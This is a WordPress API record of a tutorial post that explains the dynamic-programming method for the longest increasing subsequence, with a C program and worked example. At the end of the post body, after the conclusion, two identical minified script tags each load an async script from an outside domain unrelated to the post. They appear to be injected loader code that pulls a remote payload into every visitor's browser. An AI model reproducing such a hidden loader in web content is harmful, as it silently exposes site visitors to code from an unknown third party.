{"id":825,"date":"2024-10-14T14:28:00","date_gmt":"2024-10-14T08:58:00","guid":{"rendered":"https:\/\/codexplained.in\/?p=825"},"modified":"2025-11-24T15:42:42","modified_gmt":"2025-11-24T10:12:42","slug":"find-highest-increasing-subsequence","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=825","title":{"rendered":"Find Highest Increasing Subsequence"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Key Concepts<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Increasing Subsequence<\/strong>: A subsequence is a sequence derived from another sequence where some elements are deleted, but the order of the remaining elements is preserved. An increasing subsequence has all its elements in ascending order.<\/li>\n\n\n\n<li><strong>Dynamic Programming Approach<\/strong>: The problem can be solved using a dynamic programming method where we maintain an array to store the lengths of the longest increasing subsequences found so far.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Dynamic Programming Approach<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Step 1<\/strong>: Initialize an array <code>dp<\/code> where <code>dp[i]<\/code> will hold the length of the longest increasing subsequence that ends with the element at index <code>i<\/code>.<\/li>\n\n\n\n<li><strong>Step 2<\/strong>: For each element, compare it with all previous elements. If the current element is greater than a previous element, update the <code>dp<\/code> value accordingly.<\/li>\n\n\n\n<li><strong>Step 3<\/strong>: The length of the LIS will be the maximum value in the <code>dp<\/code> array.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">C Program to Find Longest Increasing Subsequence<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Function to find the length of Longest Increasing Subsequence\nint longestIncreasingSubsequence(int arr&#x5B;], int n) {\n    int* dp = (int*)malloc(n * sizeof(int));\n    int maxLength = 0;\n\n    \/\/ Initialize the dp array, each element starts as 1 (itself)\n    for (int i = 0; i &lt; n; i++) {\n        dp&#x5B;i] = 1; \/\/ Every single element is an increasing subsequence of length 1\n    }\n\n    \/\/ Fill the dp array\n    for (int i = 1; i &lt; n; i++) {\n        for (int j = 0; j &lt; i; j++) {\n            if (arr&#x5B;i] &gt; arr&#x5B;j] &amp;&amp; dp&#x5B;i] &lt; dp&#x5B;j] + 1) {\n                dp&#x5B;i] = dp&#x5B;j] + 1; \/\/ Update the length if a longer subsequence is found\n            }\n        }\n    }\n\n    \/\/ Find the maximum length from the dp array\n    for (int i = 0; i &lt; n; i++) {\n        if (maxLength &lt; dp&#x5B;i]) {\n            maxLength = dp&#x5B;i];\n        }\n    }\n\n    free(dp); \/\/ Free the allocated memory\n    return maxLength;\n}\n\n\/\/ Main function\nint main() {\n    int n;\n\n    \/\/ Input the size of the array\n    printf(&quot;Enter the number of elements: &quot;);\n    scanf(&quot;%d&quot;, &amp;n);\n\n    int* arr = (int*)malloc(n * sizeof(int));\n\n    \/\/ Input the elements of the array\n    printf(&quot;Enter the elements: &quot;);\n    for (int i = 0; i &lt; n; i++) {\n        scanf(&quot;%d&quot;, &amp;arr&#x5B;i]);\n    }\n\n    \/\/ Find the length of the longest increasing subsequence\n    int lisLength = longestIncreasingSubsequence(arr, n);\n    printf(&quot;Length of Longest Increasing Subsequence: %d\\n&quot;, lisLength);\n\n    free(arr); \/\/ Free the allocated memory\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Dynamic Programming Table<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program uses a one-dimensional array <code>dp<\/code> where <code>dp[i]<\/code> indicates the length of the LIS that ends at index <code>i<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Filling the DP Array<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The nested loops compare each element with the previous ones. If the current element is greater than a previous one, the LIS length is updated.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Finding the Maximum Length<\/strong>:\n<ul class=\"wp-block-list\">\n<li>After populating the <code>dp<\/code> array, the program iterates through it to find the maximum length of any increasing subsequence.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Memory Management<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program dynamically allocates memory for the input array and the <code>dp<\/code> array, and it frees that memory at the end to prevent memory leaks.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input and Output Example<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Input<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">mathematicaCopy code<code>Enter the number of elements: 8\nEnter the elements: 10 22 9 33 21 50 41 60\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Output<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">mathematicaCopy code<code>Length of Longest Increasing Subsequence: 5\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<p>In this case, the longest increasing subsequence is <code>10, 22, 33, 50, 60<\/code>, which has a length of 5.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program efficiently finds the Longest Increasing Subsequence using dynamic programming. It allows user input for flexibility and displays the length of the LIS. You can test various sequences to see how the LIS changes. This approach is optimal for practical applications, including stock price analysis and data compression.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Key Concepts Dynamic Programming Approach C Program to Find Longest Increasing Subsequence Explanation of the Code Input and Output Example Input mathematicaCopy codeEnter the number of elements: 8 Enter the elements: 10 22 9 33 21 50 41 60 Output mathematicaCopy codeLength of Longest Increasing Subsequence: 5 Explanation of the Output In this case, the [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":826,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-825","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/825","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=825"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/825\/revisions"}],"predecessor-version":[{"id":1423,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/825\/revisions\/1423"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/826"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}